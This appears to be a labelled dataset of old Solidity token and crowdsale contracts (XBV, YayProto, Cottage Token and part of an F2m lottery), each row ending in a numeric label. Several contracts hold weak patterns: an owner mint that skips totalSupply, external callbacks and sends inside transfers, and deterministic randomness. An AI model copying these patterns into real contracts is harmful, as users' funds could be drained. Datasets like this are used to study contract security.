event Approval(address indexed owner, address indexed spender, uint value);
}
contract XBV is ERC20 {
using SafeMath
for uint256;
string public standard = 'XBV 4.0';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public initialSupply;
bool initialize;
address public owner;
mapping( address => uint256) public balanceOf;
mapping( address => mapping(address => uint256)) public allowance;
mapping( address => bool ) public accountFrozen;
mapping( uint256 => address ) public addressesFrozen;
uint256 public frozenAddresses;
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
event Approval(address indexed owner, address indexed spender, uint value);
event Burn(address indexed from, uint256 value);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function XBV() {
uint256 _initialSupply = 100000000000000000000000000;
uint8 decimalUnits = 18;
balanceOf[msg.sender] = _initialSupply;
totalSupply = _initialSupply;
initialSupply = _initialSupply;
name = "XBV";
symbol = "XBV";
decimals = decimalUnits;
owner = msg.sender;
}
function changeOwner ( address _owner ) onlyOwner {
owner = _owner;
}
function transfer( address _to, uint256 _value ) returns(bool ok) {
require ( accountFrozen[ msg.sender ] == false );
if (_to == 0x0) throw;
if (balanceOf[msg.sender] < _value) throw;
bytes memory empty;
balanceOf[msg.sender] = balanceOf[msg.sender].sub( _value );
balanceOf[_to] = balanceOf[_to].add( _value );
if(isContract( _to )) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
Transfer(msg.sender, _to, _value);
return true;
}
function transfer( address _to, uint256 _value, bytes _data ) returns(bool ok) {
require ( accountFrozen[ msg.sender ] == false );
if (_to == 0x0) throw;
if (balanceOf[msg.sender] < _value) throw;
bytes memory empty;
balanceOf[msg.sender] = balanceOf[msg.sender].sub( _value );
balanceOf[_to] = balanceOf[_to].add( _value );
if(isContract( _to )) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract( address _to ) internal returns ( bool ){
uint codeLength = 0;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength>0) {
return true;
}
return false;
}
function approve(address _spender, uint256 _value)
returns(bool success) {
allowance[msg.sender][_spender] = _value;
Approval( msg.sender ,_spender, _value);
return true;
}
function approveAndCall( address _spender, uint256 _value, bytes _extraData )
returns(bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
return allowance[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool success) {
if (_from == 0x0) throw;
if (balanceOf[_from] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if (_value > allowance[_from][msg.sender]) throw;
balanceOf[_from] = balanceOf[_from].sub( _value );
balanceOf[_to] = balanceOf[_to].add( _value );
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub( _value );
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns(bool success) {
if (balanceOf[msg.sender] < _value) throw;
balanceOf[msg.sender] = balanceOf[msg.sender].sub( _value );
totalSupply = totalSupply.sub( _value );
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns(bool success) {
if (_from == 0x0) throw;
if (balanceOf[_from] < _value) throw;
if (_value > allowance[_from][msg.sender]) throw;
balanceOf[_from] = balanceOf[_from].sub( _value );
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub( _value );
totalSupply = totalSupply.sub( _value );
Burn(_from, _value);
return true;
}
function mintXBV ( uint256 _amount ) onlyOwner {
assert ( _amount > 0 );
uint256 tokens = _amount *(10**18);
balanceOf[msg.sender] = balanceOf[msg.sender].add( tokens );
}
function freezeAccount ( address _address ) onlyOwner {
frozenAddresses++;
accountFrozen [ _address ] = true;
addressesFrozen[ frozenAddresses ] = _address;
}
function unfreezeAccount ( address _address ) onlyOwner {
accountFrozen [ _address ] = false;
}
} | 1 | 2,716 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract RetrieveTokenFeature is Ownable {
function retrieveTokens(address to, address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(to, alienToken.balanceOf(this));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StagedCrowdsale is RetrieveTokenFeature {
using SafeMath for uint;
struct Milestone {
uint period;
uint bonus;
}
uint public start;
uint public totalPeriod;
uint public invested;
uint public hardCap;
Milestone[] public milestones;
function milestonesCount() public constant returns(uint) {
return milestones.length;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setHardcap(uint newHardcap) public onlyOwner {
hardCap = newHardcap;
}
function addMilestone(uint period, uint bonus) public onlyOwner {
require(period > 0);
milestones.push(Milestone(period, bonus));
totalPeriod = totalPeriod.add(period);
}
function removeMilestone(uint8 number) public onlyOwner {
require(number < milestones.length);
Milestone storage milestone = milestones[number];
totalPeriod = totalPeriod.sub(milestone.period);
delete milestones[number];
for (uint i = number; i < milestones.length - 1; i++) {
milestones[i] = milestones[i+1];
}
milestones.length--;
}
function changeMilestone(uint8 number, uint period, uint bonus) public onlyOwner {
require(number < milestones.length);
Milestone storage milestone = milestones[number];
totalPeriod = totalPeriod.sub(milestone.period);
milestone.period = period;
milestone.bonus = bonus;
totalPeriod = totalPeriod.add(period);
}
function insertMilestone(uint8 numberAfter, uint period, uint bonus) public onlyOwner {
require(numberAfter < milestones.length);
totalPeriod = totalPeriod.add(period);
milestones.length++;
for (uint i = milestones.length - 2; i > numberAfter; i--) {
milestones[i + 1] = milestones[i];
}
milestones[numberAfter + 1] = Milestone(period, bonus);
}
function clearMilestones() public onlyOwner {
require(milestones.length > 0);
for (uint i = 0; i < milestones.length; i++) {
delete milestones[i];
}
milestones.length -= milestones.length;
totalPeriod = 0;
}
modifier saleIsOn() {
require(milestones.length > 0 && now >= start && now < lastSaleDate());
_;
}
modifier isUnderHardCap() {
require(invested <= hardCap);
_;
}
function lastSaleDate() public constant returns(uint) {
require(milestones.length > 0);
return start + totalPeriod * 1 days;
}
function currentMilestone() public saleIsOn constant returns(uint) {
uint previousDate = start;
for(uint i=0; i < milestones.length; i++) {
if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) {
return i;
}
previousDate = previousDate.add(milestones[i].period * 1 days);
}
revert();
}
}
contract WalletProvider is Ownable {
address public wallet;
function setWallet(address newWallet) public onlyOwner {
wallet = newWallet;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract YayProtoToken is MintableToken {
string public constant name = "YayProto";
string public constant symbol = "YFN";
uint32 public constant decimals = 18;
address public saleAgent;
modifier notLocked() {
require(mintingFinished || msg.sender == owner || msg.sender == saleAgent);
_;
}
modifier onlyOwnerOrSaleAgent() {
require(msg.sender == owner || msg.sender == saleAgent);
_;
}
function setSaleAgent(address newSaleAgent) public {
require(msg.sender == owner || msg.sender == saleAgent);
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) onlyOwnerOrSaleAgent canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwnerOrSaleAgent canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function transfer(address _to, uint256 _value) public notLocked returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public notLocked returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract CommonSale is StagedCrowdsale, WalletProvider {
address public directMintAgent;
uint public percentRate = 100;
uint public minPrice;
uint public price;
YayProtoToken public token;
modifier onlyDirectMintAgentOrOwner() {
require(directMintAgent == msg.sender || owner == msg.sender);
_;
}
modifier minPriceLimit() {
require(msg.value >= minPrice);
_;
}
function setDirectMintAgent(address newDirectMintAgent) public onlyOwner {
directMintAgent = newDirectMintAgent;
}
function setMinPrice(uint newMinPrice) public onlyOwner {
minPrice = newMinPrice;
}
function setPrice(uint newPrice) public onlyOwner {
price = newPrice;
}
function setToken(address newToken) public onlyOwner {
token = YayProtoToken(newToken);
}
function directMint(address to, uint investedWei) public onlyDirectMintAgentOrOwner saleIsOn {
mintTokens(to, investedWei);
}
function mintTokens(address to, uint weiInvested) internal {
uint milestoneIndex = currentMilestone();
Milestone storage milestone = milestones[milestoneIndex];
invested = invested.add(msg.value);
uint tokens = weiInvested.mul(price).div(1 ether);
uint bonusTokens = tokens.mul(milestone.bonus).div(percentRate);
uint tokensWithBonus = tokens.add(bonusTokens);
createAndTransferTokens(to, tokensWithBonus);
}
function createAndTransferTokens(address to, uint tokens) internal isUnderHardCap {
token.mint(this, tokens);
token.transfer(to, tokens);
}
}
contract Mainsale is CommonSale {
address public marketingTokensWallet;
address public developersTokensWallet;
address public advisorsTokensWallet;
address public teamTokensWallet;
uint public marketingTokensPercent;
uint public developersTokensPercent;
uint public advisorsTokensPercent;
uint public teamTokensPercent;
function setMarketingTokensPercent(uint newMarketingTokensPercent) public onlyOwner {
marketingTokensPercent = newMarketingTokensPercent;
}
function setDevelopersTokensPercent(uint newDevelopersTokensPercent) public onlyOwner {
developersTokensPercent = newDevelopersTokensPercent;
}
function setAdvisorsTokensPercent(uint newAdvisorsTokensPercent) public onlyOwner {
advisorsTokensPercent = newAdvisorsTokensPercent;
}
function setTeamTokensPercent(uint newTeamTokensPercent) public onlyOwner {
teamTokensPercent = newTeamTokensPercent;
}
function setMarketingTokensWallet(address newMarketingTokensWallet) public onlyOwner {
marketingTokensWallet = newMarketingTokensWallet;
}
function setDevelopersTokensWallet(address newDevelopersTokensWallet) public onlyOwner {
developersTokensWallet = newDevelopersTokensWallet;
}
function setAdvisorsTokensWallet(address newAdvisorsTokensWallet) public onlyOwner {
advisorsTokensWallet = newAdvisorsTokensWallet;
}
function setTeamTokensWallet(address newTeamTokensWallet) public onlyOwner {
teamTokensWallet = newTeamTokensWallet;
}
function finish() public onlyOwner {
uint extendedTokensPercent = marketingTokensPercent.add(teamTokensPercent).add(developersTokensPercent).add(advisorsTokensPercent);
uint allTokens = token.totalSupply().mul(percentRate).div(percentRate.sub(extendedTokensPercent));
createAndTransferTokens(marketingTokensWallet,allTokens.mul(marketingTokensPercent).div(percentRate));
createAndTransferTokens(teamTokensWallet,allTokens.mul(teamTokensPercent).div(percentRate));
createAndTransferTokens(developersTokensWallet,allTokens.mul(developersTokensPercent).div(percentRate));
createAndTransferTokens(advisorsTokensWallet,allTokens.mul(advisorsTokensPercent).div(percentRate));
token.finishMinting();
}
function () external payable minPriceLimit {
wallet.transfer(msg.value);
mintTokens(msg.sender, msg.value);
}
}
contract SoftcapFeature is WalletProvider {
using SafeMath for uint;
mapping(address => uint) balances;
bool public softcapAchieved;
bool public refundOn;
uint public softcap;
uint public invested;
function setSoftcap(uint newSoftcap) public onlyOwner {
softcap = newSoftcap;
}
function withdraw() public onlyOwner {
require(softcapAchieved);
wallet.transfer(this.balance);
}
function updateBalance(address to, uint amount) internal {
balances[to] = balances[to].add(amount);
invested = invested.add(amount);
if (!softcapAchieved && invested >= softcap) {
softcapAchieved = true;
}
}
function updateRefundState() internal returns(bool) {
if (!softcapAchieved) {
refundOn = true;
}
return refundOn;
}
}
contract Presale is SoftcapFeature, CommonSale {
Mainsale public mainsale;
function setMainsale(address newMainsale) public onlyOwner {
mainsale = Mainsale(newMainsale);
}
function finish() public onlyOwner {
token.setSaleAgent(mainsale);
}
function mintTokens(address to, uint weiInvested) internal {
super.mintTokens(to, weiInvested);
updateBalance(msg.sender, msg.value);
}
function () external payable minPriceLimit {
mintTokens(msg.sender, msg.value);
}
function refund() public {
require(refundOn && balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function finishMinting() public onlyOwner {
if (updateRefundState()) {
token.finishMinting();
} else {
withdraw();
token.setSaleAgent(mainsale);
}
}
}
contract Configurator is Ownable {
YayProtoToken public token;
Presale public presale;
Mainsale public mainsale;
function deploy() public onlyOwner {
token = new YayProtoToken();
presale = new Presale();
mainsale = new Mainsale();
presale.setToken(token);
presale.setWallet(0x00c286bFbEfa2e7D060259822EDceA2E922a2B7C);
presale.setStart(1517356800);
presale.setMinPrice(100000000000000000);
presale.setPrice(7500000000000000000000);
presale.setSoftcap(3000000000000000000000);
presale.setHardcap(11250000000000000000000);
presale.addMilestone(7,60);
presale.addMilestone(7,50);
presale.addMilestone(7,40);
presale.addMilestone(7,30);
presale.addMilestone(7,25);
presale.addMilestone(7,20);
presale.setMainsale(mainsale);
mainsale.setToken(token);
mainsale.setPrice(7500000000000000000000);
mainsale.setWallet(0x009693f53723315219f681529fE6e05a91a28C41);
mainsale.setDevelopersTokensWallet(0x0097895f899559D067016a3d61e3742c0da533ED);
mainsale.setTeamTokensWallet(0x00137668FEda9d278A242C69aB520466A348C954);
mainsale.setMarketingTokensWallet(0x00A8a63f43ce630dbd3b96F1e040A730341bAa4D);
mainsale.setAdvisorsTokensWallet(0x00764817d154237115DdA4FAA76C7aaB5dE3cb25);
mainsale.setStart(1523750400);
mainsale.setMinPrice(100000000000000000);
mainsale.setHardcap(95000000000000000000000);
mainsale.setDevelopersTokensPercent(10);
mainsale.setTeamTokensPercent(10);
mainsale.setMarketingTokensPercent(5);
mainsale.setAdvisorsTokensPercent(10);
mainsale.addMilestone(7,15);
mainsale.addMilestone(7,10);
mainsale.addMilestone(7,7);
mainsale.addMilestone(7,4);
mainsale.addMilestone(7,0);
token.setSaleAgent(presale);
token.transferOwnership(owner);
presale.transferOwnership(owner);
mainsale.transferOwnership(owner);
}
} | 1 | 2,153 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract RewardToken is StandardToken, Ownable {
bool public payments = false;
mapping(address => uint256) public rewards;
uint public payment_time = 0;
uint public payment_amount = 0;
event Reward(address indexed to, uint256 value);
function payment() payable onlyOwner {
require(payments);
require(msg.value >= 0.01 * 1 ether);
payment_time = now;
payment_amount = this.balance;
}
function _reward(address _to) private returns (bool) {
require(payments);
require(rewards[_to] < payment_time);
if(balances[_to] > 0) {
uint amount = payment_amount.mul(balances[_to]).div( totalSupply);
require(_to.send(amount));
Reward(_to, amount);
}
rewards[_to] = payment_time;
return true;
}
function reward() returns (bool) {
return _reward(msg.sender);
}
function transfer(address _to, uint256 _value) returns (bool) {
if(payments) {
if(rewards[msg.sender] < payment_time) require(_reward(msg.sender));
if(rewards[_to] < payment_time) require(_reward(_to));
}
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
if(payments) {
if(rewards[_from] < payment_time) require(_reward(_from));
if(rewards[_to] < payment_time) require(_reward(_to));
}
return super.transferFrom(_from, _to, _value);
}
}
contract CottageToken is RewardToken {
using SafeMath for uint;
string public name = "Cottage Token";
string public symbol = "CTG";
uint256 public decimals = 18;
bool public mintingFinished = false;
bool public commandGetBonus = false;
uint public commandGetBonusTime = 1519884000;
event Mint(address indexed holder, uint256 tokenAmount);
event MintFinished();
event MintCommandBonus();
function _mint(address _to, uint256 _amount) onlyOwner private returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function mint(address _to, uint256 _amount) onlyOwner returns(bool) {
require(!mintingFinished);
return _mint(_to, _amount);
}
function finishMinting() onlyOwner returns(bool) {
mintingFinished = true;
payments = true;
MintFinished();
return true;
}
function commandMintBonus(address _to) onlyOwner {
require(mintingFinished && !commandGetBonus);
require(now > commandGetBonusTime);
commandGetBonus = true;
require(_mint(_to, totalSupply.mul(15).div(100)));
MintCommandBonus();
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
CottageToken public token;
address public beneficiary = 0xd358Bd183C8E85C56d84C1C43a785DfEE0236Ca2;
uint public collectedFunds = 0;
uint public hardCap = 230000 * 1000000000000000000;
uint public tokenETHAmount = 600;
uint public startPreICO = 1511762400;
uint public endPreICO = 1514354400;
uint public bonusPreICO = 200 ether;
uint public startICO = 1517464800;
uint public endICOp1 = 1518069600;
uint public endICOp2 = 1518674400;
uint public endICOp3 = 1519279200;
uint public endICO = 1519884000;
bool public crowdsaleFinished = false;
event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
function Crowdsale() {
token = new CottageToken();
}
function() payable {
doPurchase();
}
function doPurchase() payable {
require((now >= startPreICO && now < endPreICO) || (now >= startICO && now < endICO));
require(collectedFunds < hardCap);
require(msg.value > 0);
require(!crowdsaleFinished);
uint rest = 0;
uint tokensAmount = 0;
uint sum = msg.value;
if(sum > hardCap.sub(collectedFunds) ) {
sum = hardCap.sub(collectedFunds);
rest = msg.value - sum;
}
if(now >= startPreICO && now < endPreICO){
if(msg.value >= bonusPreICO){
tokensAmount = sum.mul(tokenETHAmount).mul(120).div(100);
} else {
tokensAmount = sum.mul(tokenETHAmount).mul(112).div(100);
}
}
if(now >= startICO && now < endICOp1){
tokensAmount = sum.mul(tokenETHAmount).mul(110).div(100);
} else if (now >= endICOp1 && now < endICOp2) {
tokensAmount = sum.mul(tokenETHAmount).mul(108).div(100);
} else if (now >= endICOp2 && now < endICOp3) {
tokensAmount = sum.mul(tokenETHAmount).mul(105).div(100);
} else if (now >= endICOp3 && now < endICO) {
tokensAmount = sum.mul(tokenETHAmount);
}
require(token.mint(msg.sender, tokensAmount));
beneficiary.transfer(sum);
msg.sender.transfer(rest);
collectedFunds = collectedFunds.add(sum);
NewContribution(msg.sender, tokensAmount, tokenETHAmount);
}
function withdraw() onlyOwner {
require(token.finishMinting());
require(beneficiary.send(this.balance));
token.transferOwnership(beneficiary);
crowdsaleFinished = true;
}
} | 1 | 3,873 |
pragma solidity ^0.4.24;
interface F2mInterface {
function joinNetwork(address[6] _contract) public;
function disableRound0() public;
function activeBuy() public;
function pushDividends() public payable;
function buyFor(address _buyer) public payable;
function sell(uint256 _tokenAmount) public;
function exit() public;
function devTeamWithdraw() public returns(uint256);
function withdrawFor(address sender) public returns(uint256);
function transfer(address _to, uint256 _tokenAmount) public returns(bool);
function setAutoBuy() public;
function ethBalance(address _address) public view returns(uint256);
function myBalance() public view returns(uint256);
function myEthBalance() public view returns(uint256);
function swapToken() public;
function setNewToken(address _newTokenAddress) public;
}
interface CitizenInterface {
function joinNetwork(address[6] _contract) public;
function devTeamWithdraw() public;
function updateUsername(string _sNewUsername) public;
function pushRefIncome(address _sender) public payable;
function withdrawFor(address _sender) public payable returns(uint256);
function devTeamReinvest() public returns(uint256);
function getRefWallet(address _address) public view returns(uint256);
}
interface DevTeamInterface {
function setF2mAddress(address _address) public;
function setLotteryAddress(address _address) public;
function setCitizenAddress(address _address) public;
function setBankAddress(address _address) public;
function setRewardAddress(address _address) public;
function setWhitelistAddress(address _address) public;
function setupNetwork() public;
}
interface BankInterface {
function joinNetwork(address[6] _contract) public;
function pushToBank(address _player) public payable;
}
interface RewardInterface {
function mintReward(
address _lucker,
uint256 curRoundId,
uint256 _tNumberFrom,
uint256 _tNumberTo,
uint256 _value,
uint256 _rewardType)
public;
function joinNetwork(address[6] _contract) public;
function pushBounty(uint256 _curRoundId) public payable;
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN));
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0);
require(!(b == -1 && a == INT256_MIN));
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Helper {
using SafeMath for uint256;
uint256 constant public ZOOM = 1000;
uint256 constant public SDIVIDER = 3450000;
uint256 constant public PDIVIDER = 3450000;
uint256 constant public RDIVIDER = 1580000;
uint256 constant public SLP = 0.002 ether;
uint256 constant public SAT = 30;
uint256 constant public PN = 777;
uint256 constant public PBASE = 13;
uint256 constant public PMULTI = 26;
uint256 constant public LBase = 15;
uint256 constant public ONE_HOUR = 3600;
uint256 constant public ONE_DAY = 24 * ONE_HOUR;
uint256 constant public TIMEOUT1 = 12 * ONE_HOUR;
function bytes32ToString (bytes32 data)
public
pure
returns (string)
{
bytes memory bytesString = new bytes(32);
for (uint j=0; j<32; j++) {
byte char = byte(bytes32(uint(data) * 2 ** (8 * j)));
if (char != 0) {
bytesString[j] = char;
}
}
return string(bytesString);
}
function uintToBytes32(uint256 n)
public
pure
returns (bytes32)
{
return bytes32(n);
}
function bytes32ToUint(bytes32 n)
public
pure
returns (uint256)
{
return uint256(n);
}
function stringToBytes32(string memory source)
public
pure
returns (bytes32 result)
{
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function stringToUint(string memory source)
public
pure
returns (uint256)
{
return bytes32ToUint(stringToBytes32(source));
}
function uintToString(uint256 _uint)
public
pure
returns (string)
{
return bytes32ToString(uintToBytes32(_uint));
}
function validUsername(string _username)
public
pure
returns(bool)
{
uint256 len = bytes(_username).length;
if ((len < 4) || (len > 18)) return false;
if (bytes(_username)[len-1] == 32) return false;
return uint256(bytes(_username)[0]) != 48;
}
function getAddedTime(uint256 _rTicketSum, uint256 _tAmount)
public
pure
returns (uint256)
{
uint256 base = (_rTicketSum + 1).mul(10000) / SDIVIDER;
uint256 expo = base;
expo = expo.mul(expo).mul(expo);
expo = expo.mul(expo);
expo = expo / (10**24);
if (expo > SAT) return 0;
return (SAT - expo).mul(_tAmount);
}
function getNewEndTime(uint256 toAddTime, uint256 slideEndTime, uint256 fixedEndTime)
public
view
returns(uint256)
{
uint256 _slideEndTime = (slideEndTime).add(toAddTime);
uint256 timeout = _slideEndTime.sub(block.timestamp);
if (timeout > TIMEOUT1) timeout = TIMEOUT1;
_slideEndTime = (block.timestamp).add(timeout);
if (_slideEndTime > fixedEndTime) return fixedEndTime;
return _slideEndTime;
}
function getRandom(uint256 _seed, uint256 _range)
public
pure
returns(uint256)
{
if (_range == 0) return _seed;
return (_seed % _range) + 1;
}
function getEarlyIncomeMul(uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 base = _ticketSum * ZOOM / RDIVIDER;
uint256 expo = base.mul(base).mul(base);
expo = expo.mul(expo) / (ZOOM**6);
return (1 + PBASE / (1 + expo.mul(PMULTI)));
}
function getTAmount(uint256 _ethAmount, uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 _tPrice = getTPrice(_ticketSum);
return _ethAmount.div(_tPrice);
}
function getTMul(uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 base = _ticketSum * ZOOM / PDIVIDER;
uint256 expo = base.mul(base).mul(base);
expo = expo.mul(expo);
return 1 + expo.mul(LBase) / (10**18);
}
function getTPrice(uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 base = (_ticketSum + 1).mul(ZOOM) / PDIVIDER;
uint256 expo = base;
expo = expo.mul(expo).mul(expo);
expo = expo.mul(expo);
uint256 tPrice = SLP + expo / PN;
return tPrice;
}
